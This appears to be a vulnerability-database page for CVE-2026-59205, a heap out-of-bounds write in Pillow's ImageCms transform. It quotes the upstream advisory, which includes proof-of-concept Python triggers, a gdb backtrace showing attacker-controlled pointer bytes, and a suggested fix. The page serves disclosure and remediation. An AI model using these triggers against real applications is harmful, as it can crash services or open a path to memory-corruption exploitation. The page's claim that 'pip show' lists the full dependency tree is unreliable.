CVE-2026-59205: Pillow Controlled Heap Out-of-bounds Write Vulnerability

HIGH
Advisory Identifier: GHSA-9hw9-ch79-4vh6
Share
CVSS 7.5
CWE-787
Published
Advisory Summary

CVE-2026-59205 is a HIGH (CVSS 7.5) controlled heap out-of-bounds write vulnerability (CWE-787: Out-of-bounds Write) affecting Pillow libraries in the PyPI ecosystem. The issue involves controlled heap out-of-bounds write in pillow `imagecmstransform.apply()` via output mode mismatch. Remediation is available by upgrading affected packages to version 12.3.0.

CVE-2026-59205 at a Glance

CVE Identifier CVE-2026-59205
GHSA Identifier GHSA-9hw9-ch79-4vh6
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-787: Out-of-bounds Write
Affected Product Pillow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-59205

To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pillow fixed: 12.3.0 
pip install pillow>=12.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show pillow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-59205, inspect your installed packages using pip:

pip show pillow

Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.

Note: The pip show pillow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-787: Out-of-bounds Write, where the product writes data past the end, or before the beginning, of the intended buffer. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row. ### Details `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller supplied `imOut`: ```python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.output_mode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` If `imOut` is provided, Pillow does not check: ```text im.mode == self.input_mode imOut.mode == self.output_mode ``` The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions: ```c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; } for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); } pyCMScopyAux(hTransform, imOut, im); return 0; } ``` `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS `TYPE_RGBA_8`, which writes 4 bytes per pixel: ```c case IMAGING_MODE_RGB: case IMAGING_MODE_RGBA: case IMAGING_MODE_RGBX: return TYPE_RGBA_8; ``` So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width` bytes to each output row. If the supplied output image is mode `L`, Pillow only allocated `1 * width` bytes for that row. For width 4096: ```text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row ``` The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, `apply()` returned to Python and printed `after`; glibc detected the corrupted heap later during cleanup. ### PoC Tiny heap corruption trigger: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0) print("before", flush=True) transform.apply(im, out) print("after") ``` Observed locally on Pillow `12.3.0.dev0`: ```text before after free(): invalid next size (normal) Aborted (core dumped) ``` Controlled overwrite evidence PoC: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0) transform.apply(im, out) ``` Run under gdb: ```bash gdb -q --batch -ex run -ex bt --args \ python3 b022_controlled.py ``` Observed on Pillow `12.3.0.dev0`: ```text Program received signal SIGSEGV, Segmentation fault. ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241) #1 _cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cms_profile_tobytes (...) at src/_imagingcms.c:152 ``` `0x4443424144434241` is the attacker-controlled source pixel pattern `b"ABCDABCD"` interpreted as a little-endian pointer-sized value. Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of `0x403020104030201`, matching the repeated pixel bytes. ### Impact This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to `ImageCmsTransform.apply()`. The source image pixels influence the bytes written out of bounds. ## Suggested fix Validate modes before calling into the native transform: ```python def apply(self, im, imOut=None): if im.mode != self.input_mode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.output_mode, im.size, None) elif imOut.mode != self.output_mode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` The C extension should also defensively reject mismatched image modes before calling `cmsDoTransform()`.

CVE-2026-59205 Affected Pillow Versions

1 component(s)
Fixed Versions:
12.3.0
Product / Package Ecosystem Affected Versions Fixed Version
pillow
pypi/pillow
PyPI
< 12.3.0
12.3.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6
NVD — CVE-2026-59205 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-59205
Pillow Source Repository REPOSITORY
https://github.com/python-pillow/Pillow/pull/9715
Security Fix Commit FIX COMMIT
https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721
Pillow Source Repository REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml
Pillow Source Repository REPOSITORY
https://github.com/python-pillow/Pillow
Pillow Release RELEASE
https://github.com/python-pillow/Pillow/releases/tag/12.3.0

Frequently Asked Questions

What is CVE-2026-59205?
CVE-2026-59205 is a security vulnerability in Pillow involving Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch under CWE-787: Out-of-bounds Write.
Which Pillow versions are affected?
Affected versions include releases prior to 12.3.0 across affected packages: pillow.
What version fixes CVE-2026-59205?
Upgrading to 12.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pillow affected?
Yes, pillow is affected in releases prior to 12.3.0. Upgrade your dependency to 12.3.0 or later.
What is the CVSS score of CVE-2026-59205?
CVE-2026-59205 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-59205?
CVE-2026-59205 is classified under CWE-787: Out-of-bounds Write (The product writes data past the end, or before the beginning, of the intended buffer.).
How can I check PyPI dependencies for CVE-2026-59205?
Run the dependency tree command: 'pip show pillow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9hw9-ch79-4vh6",
  "modified" : "2026-07-20T23:19:00Z",
  "published" : "2026-07-20T23:19:00Z",
  "aliases" : [ "CVE-2026-59205" ],
  "summary" : "Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch",
  "details" : "### Summary\n\nPillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger\ncontrolled native heap corruption when the caller supplies an output image whose\nmode does not match the transform's declared output mode.\n\nFor example, a transform built as `RGBA -> RGBA` can be applied to an `L` output\nimage. Pillow checks dimensions only, then calls LittleCMS with the output row\npointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row.\n\n### Details\n\n`src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller\nsupplied `imOut`:\n\n```python\ndef apply(self, im, imOut=None):\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nIf `imOut` is provided, Pillow does not check:\n\n```text\nim.mode == self.input_mode\nimOut.mode == self.output_mode\n```\n\nThe C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks\nthat the output dimensions are at least as large as the input dimensions:\n\n```c\nstatic int\npyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {\n    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {\n        return -1;\n    }\n\n    for (i = 0; i < im->ysize; i++) {\n        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);\n    }\n\n    pyCMScopyAux(hTransform, imOut, im);\n    return 0;\n}\n```\n\n`findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS\n`TYPE_RGBA_8`, which writes 4 bytes per pixel:\n\n```c\ncase IMAGING_MODE_RGB:\ncase IMAGING_MODE_RGBA:\ncase IMAGING_MODE_RGBX:\n    return TYPE_RGBA_8;\n```\n\nSo with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width`\nbytes to each output row. If the supplied output image is mode `L`, Pillow only\nallocated `1 * width` bytes for that row.\n\nFor width 4096:\n\n```text\ndestination row allocation: 4096 bytes\nLittleCMS write size:       16384 bytes\noverflow:                  ~12288 bytes past the row\n```\n\nThe bug does not require a large image. Width 8 was enough to corrupt heap\nmetadata. At width 8, `apply()` returned to Python and printed `after`; glibc\ndetected the corrupted heap later during cleanup.\n\n### PoC\n\nTiny heap corruption trigger:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (8, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (8, 1), 0)\n\nprint(\"before\", flush=True)\ntransform.apply(im, out)\nprint(\"after\")\n```\n\nObserved locally on Pillow `12.3.0.dev0`:\n\n```text\nbefore\nafter\nfree(): invalid next size (normal)\nAborted (core dumped)\n```\n\nControlled overwrite evidence PoC:\n\n```python\nfrom PIL import Image, ImageCms\n\nsrgb = ImageCms.createProfile(\"sRGB\")\ntransform = ImageCms.buildTransform(srgb, srgb, \"RGBA\", \"RGBA\")\n\nim = Image.new(\"RGBA\", (4096, 1), (0x41, 0x42, 0x43, 0x44))\nout = Image.new(\"L\", (4096, 1), 0)\n\ntransform.apply(im, out)\n```\n\nRun under gdb:\n\n```bash\ngdb -q --batch -ex run -ex bt --args \\\n  python3 b022_controlled.py\n```\n\nObserved on Pillow `12.3.0.dev0`:\n\n```text\nProgram received signal SIGSEGV, Segmentation fault.\n___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)\n#1 _cmsLockPrimitive (m=0x4443424144434241)\n#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)\n#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)\n#4 cmsSaveProfileToIOhandler(...)\n#5 cmsSaveProfileToMem(...)\n#6 cms_profile_tobytes (...) at src/_imagingcms.c:152\n```\n\n`0x4443424144434241` is the attacker-controlled source pixel pattern\n`b\"ABCDABCD\"` interpreted as a little-endian pointer-sized value.\n\nUsing source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of\n`0x403020104030201`, matching the repeated pixel bytes.\n\n### Impact\n\nThis is a heap out-of-bounds write in Pillow's native ImageCms extension,\nreachable through public API.\n\nApplications are impacted if untrusted users can control ImageCms transform\nparameters and/or provide the output image object passed to\n`ImageCmsTransform.apply()`. The source image pixels influence the bytes written\nout of bounds.\n\n## Suggested fix\n\nValidate modes before calling into the native transform:\n\n```python\ndef apply(self, im, imOut=None):\n    if im.mode != self.input_mode:\n        raise ValueError(\"input mode mismatch\")\n    if imOut is None:\n        imOut = Image.new(self.output_mode, im.size, None)\n    elif imOut.mode != self.output_mode:\n        raise ValueError(\"output mode mismatch\")\n    self.transform.apply(im.getim(), imOut.getim())\n    imOut.info[\"icc_profile\"] = self.output_profile.tobytes()\n    return imOut\n```\n\nThe C extension should also defensively reject mismatched image modes before\ncalling `cmsDoTransform()`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pillow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "12.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59205"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/pull/9715"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/python-pillow/Pillow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-787" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T23:19:00Z",
    "nvd_published_at" : "2026-07-14T16:17:02Z"
  }
}